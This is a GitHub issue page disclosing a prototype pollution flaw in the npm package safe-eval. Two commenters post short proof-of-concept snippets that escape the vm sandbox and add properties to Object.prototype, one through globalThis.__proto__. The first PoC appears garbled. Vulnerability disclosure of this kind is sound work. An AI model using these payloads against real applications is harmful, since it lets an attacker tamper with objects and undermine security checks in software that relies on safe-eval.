Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution in function safeEval in the file index.js #26

Open
lelecolacola123 opened this issue Dec 17, 2022 · 1 comment
Open

Comments

@lelecolacola123
Copy link

Affected versions of this package are vulnerable to Prototype Pollution which can allow an attacker to add/modify properties of the Object.prototype.Consolidate runs the risk of Prototype Pollution when using the function safeEval.The function use vm lead an attacker to modify properties of the Object.prototype.the risk locate is in here

vm.runInNewContext(code, sandbox, opts)

and the POC is as follow:
var unsafe= require("safe-eval")
console.log({}.test) //undefined
unsafe("proto.test=123")
console.log({}.test) //123

@rectcoordsystem
Copy link

We also founded Prototype Pollution vulnerability

POC :

var safeEval = require('safe-eval')

let code = `
(function() { 
    let ret = globalThis;
    ret.__proto__.polluted = "ret.__proto__.polluted";
})()
`
safeEval(code);

const polluted_result = {}["polluted"];
console.log(polluted_result); // ret.__proto__.polluted

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants